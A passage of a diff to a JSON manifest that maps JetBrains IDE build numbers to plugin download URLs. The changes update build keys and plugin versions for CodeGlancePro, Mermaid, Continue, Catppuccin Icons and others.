+        "251.26094.133": "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip"
       },
       "name": "codeglance-pro"
     },
@@ -1514,18 +1514,18 @@
         "webstorm"
       ],
       "builds": {
-        "243.22562.218": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
-        "251.23774.423": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
-        "251.25410.104": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
-        "251.25410.115": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
-        "251.25410.117": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
-        "251.25410.119": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
-        "251.25410.120": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
-        "251.25410.122": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
-        "251.25410.123": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
-        "251.25410.129": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
-        "251.25410.140": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
-        "251.25410.148": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar"
+        "243.22562.218": "https://plugins.jetbrains.com/files/18922/767365/GerryThemes.jar",
+        "251.23774.423": "https://plugins.jetbrains.com/files/18922/767365/GerryThemes.jar",
+        "251.25410.119": "https://plugins.jetbrains.com/files/18922/767365/GerryThemes.jar",
+        "251.25410.170": "https://plugins.jetbrains.com/files/18922/767365/GerryThemes.jar",
+        "251.26094.121": "https://plugins.jetbrains.com/files/18922/767365/GerryThemes.jar",
+        "251.26094.122": "https://plugins.jetbrains.com/files/18922/767365/GerryThemes.jar",
+        "251.26094.123": "https://plugins.jetbrains.com/files/18922/767365/GerryThemes.jar",
+        "251.26094.127": "https://plugins.jetbrains.com/files/18922/767365/GerryThemes.jar",
+        "251.26094.131": "https://plugins.jetbrains.com/files/18922/767365/GerryThemes.jar",
+        "251.26094.133": "https://plugins.jetbrains.com/files/18922/767365/GerryThemes.jar",
+        "251.26094.141": "https://plugins.jetbrains.com/files/18922/767365/GerryThemes.jar",
+        "251.26094.87": "https://plugins.jetbrains.com/files/18922/767365/GerryThemes.jar"
       },
       "name": "gerry-themes"
     },
@@ -1547,16 +1547,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip"
       },
       "name": "better-direnv"
     },
@@ -1578,16 +1578,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/20146/633971/Mermaid-0.0.24_IJ.243.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip"
       },
       "name": "mermaid"
     },
@@ -1609,16 +1609,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip"
       },
       "name": "ferris"
     },
@@ -1640,16 +1640,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip"
       },
       "name": "code-complexity"
     },
@@ -1671,16 +1671,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip"
       },
       "name": "developer-tools"
     },
@@ -1696,14 +1696,14 @@
         "webstorm"
       ],
       "builds": {
-        "251.25410.104": "https://plugins.jetbrains.com/files/21962/732363/clouds-docker-gateway-251.25410.75.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/21962/732363/clouds-docker-gateway-251.25410.75.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/21962/732363/clouds-docker-gateway-251.25410.75.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/21962/732363/clouds-docker-gateway-251.25410.75.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/21962/732363/clouds-docker-gateway-251.25410.75.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/21962/732363/clouds-docker-gateway-251.25410.75.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/21962/732363/clouds-docker-gateway-251.25410.75.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/21962/732363/clouds-docker-gateway-251.25410.75.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/21962/732363/clouds-docker-gateway-251.25410.75.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/21962/732363/clouds-docker-gateway-251.25410.75.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/21962/732363/clouds-docker-gateway-251.25410.75.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/21962/732363/clouds-docker-gateway-251.25410.75.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/21962/732363/clouds-docker-gateway-251.25410.75.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/21962/732363/clouds-docker-gateway-251.25410.75.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/21962/732363/clouds-docker-gateway-251.25410.75.zip"
       },
       "name": "dev-containers"
     },
@@ -1714,9 +1714,9 @@
         "rust-rover"
       ],
       "builds": {
-        "251.25410.104": "https://plugins.jetbrains.com/files/22407/736889/intellij-rust-251.25410.127.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/22407/736889/intellij-rust-251.25410.127.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/22407/736889/intellij-rust-251.25410.127.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/22407/757316/intellij-rust-251.25410.170.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/22407/757316/intellij-rust-251.25410.170.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/22407/757316/intellij-rust-251.25410.170.zip"
       },
       "name": "rust"
     },
@@ -1736,18 +1736,18 @@
         "webstorm"
       ],
       "builds": {
-        "243.22562.218": "https://plugins.jetbrains.com/files/22707/738247/continue-intellij-extension-1.0.16.zip",
-        "251.23774.423": "https://plugins.jetbrains.com/files/22707/738247/continue-intellij-extension-1.0.16.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/22707/738247/continue-intellij-extension-1.0.16.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/22707/738247/continue-intellij-extension-1.0.16.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/22707/738247/continue-intellij-extension-1.0.16.zip",
-        "251.25410.119": "https://plugins.jetbrains.com/files/22707/738247/continue-intellij-extension-1.0.16.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/22707/738247/continue-intellij-extension-1.0.16.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/22707/738247/continue-intellij-extension-1.0.16.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/22707/738247/continue-intellij-extension-1.0.16.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/22707/738247/continue-intellij-extension-1.0.16.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/22707/738247/continue-intellij-extension-1.0.16.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/22707/738247/continue-intellij-extension-1.0.16.zip"
+        "243.22562.218": "https://plugins.jetbrains.com/files/22707/762617/continue-intellij-extension-1.0.21.zip",
+        "251.23774.423": "https://plugins.jetbrains.com/files/22707/762617/continue-intellij-extension-1.0.21.zip",
+        "251.25410.119": "https://plugins.jetbrains.com/files/22707/762617/continue-intellij-extension-1.0.21.zip",
+        "251.25410.170": "https://plugins.jetbrains.com/files/22707/762617/continue-intellij-extension-1.0.21.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/22707/762617/continue-intellij-extension-1.0.21.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/22707/762617/continue-intellij-extension-1.0.21.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/22707/762617/continue-intellij-extension-1.0.21.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/22707/762617/continue-intellij-extension-1.0.21.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/22707/762617/continue-intellij-extension-1.0.21.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/22707/762617/continue-intellij-extension-1.0.21.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/22707/762617/continue-intellij-extension-1.0.21.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/22707/762617/continue-intellij-extension-1.0.21.zip"
       },
       "name": "continue"
     },
@@ -1769,16 +1769,16 @@
       "builds": {
         "243.22562.218": null,
         "251.23774.423": "https://plugins.jetbrains.com/files/22857/716106/vcs-gitlab-IU-251.23774.435-IU.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/22857/764755/vcs-gitlab-IU-251.26094.114-IU.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/22857/764755/vcs-gitlab-IU-251.26094.114-IU.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/22857/764755/vcs-gitlab-IU-251.26094.114-IU.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/22857/764755/vcs-gitlab-IU-251.26094.114-IU.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/22857/764755/vcs-gitlab-IU-251.26094.114-IU.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/22857/764755/vcs-gitlab-IU-251.26094.114-IU.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/22857/764755/vcs-gitlab-IU-251.26094.114-IU.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/22857/764755/vcs-gitlab-IU-251.26094.114-IU.zip"
       },
       "name": "gitlab"
     },
@@ -1798,18 +1798,18 @@
         "webstorm"
       ],
       "builds": {
-        "243.22562.218": "https://plugins.jetbrains.com/files/23029/702798/Catppuccin_Icons-1.11.0.zip",
-        "251.23774.423": "https://plugins.jetbrains.com/files/23029/702798/Catppuccin_Icons-1.11.0.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/23029/702798/Catppuccin_Icons-1.11.0.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/23029/702798/Catppuccin_Icons-1.11.0.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/23029/702798/Catppuccin_Icons-1.11.0.zip",
-        "251.25410.119": "https://plugins.jetbrains.com/files/23029/702798/Catppuccin_Icons-1.11.0.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/23029/702798/Catppuccin_Icons-1.11.0.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/23029/702798/Catppuccin_Icons-1.11.0.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/23029/702798/Catppuccin_Icons-1.11.0.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/23029/702798/Catppuccin_Icons-1.11.0.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/23029/702798/Catppuccin_Icons-1.11.0.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/23029/702798/Catppuccin_Icons-1.11.0.zip"
+        "243.22562.218": "https://plugins.jetbrains.com/files/23029/764814/Catppuccin_Icons-1.12.0.zip",
+        "251.23774.423": "https://plugins.jetbrains.com/files/23029/764814/Catppuccin_Icons-1.12.0.zip",
+        "251.25410.119": "https://plugins.jetbrains.com/files/23029/764814/Catppuccin_Icons-1.12.0.zip",
+        "251.25410.170": "https://plugins.jetbrains.com/files/23029/764814/Catppuccin_Icons-1.12.0.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/23029/764814/Catppuccin_Icons-1.12.0.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/23029/764814/Catppuccin_Icons-1.12.0.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/23029/764814/Catppuccin_Icons-1.12.0.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/23029/764814/Catppuccin_Icons-1.12.0.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/23029/764814/Catppuccin_Icons-1.12.0.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/23029/764814/Catppuccin_Icons-1.12.0.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/23029/764814/Catppuccin_Icons-1.12.0.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/23029/764814/Catppuccin_Icons-1.12.0.zip"
       },
       "name": "catppuccin-icons"
     },
@@ -1831,16 +1831,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip"
       },
       "name": "mermaid-chart"
     },
@@ -1862,16 +1862,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/23806/664310/Oxocarbon-1.4.5.zip",
         "251.23774.423": null,
-        "251.25410.104": null,
-        "251.25410.115": null,
-        "251.25410.117": null,
         "251.25410.119": null,
-        "251.25410.120": null,
-        "251.25410.122": null,
-        "251.25410.123": null,
-        "251.25410.129": null,
-        "251.25410.140": null,
-        "251.25410.148": null
+        "251.25410.170": null,
+        "251.26094.121": null,
+        "251.26094.122": null,
+        "251.26094.123": null,
+        "251.26094.127": null,
+        "251.26094.131": null,
+        "251.26094.133": null,
+        "251.26094.141": null,
+        "251.26094.87": null
       },
       "name": "oxocarbon"
     },
@@ -1893,16 +1893,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip"
       },
       "name": "extra-ide-tweaks"
     },
@@ -1924,16 +1924,16 @@
       "builds": {
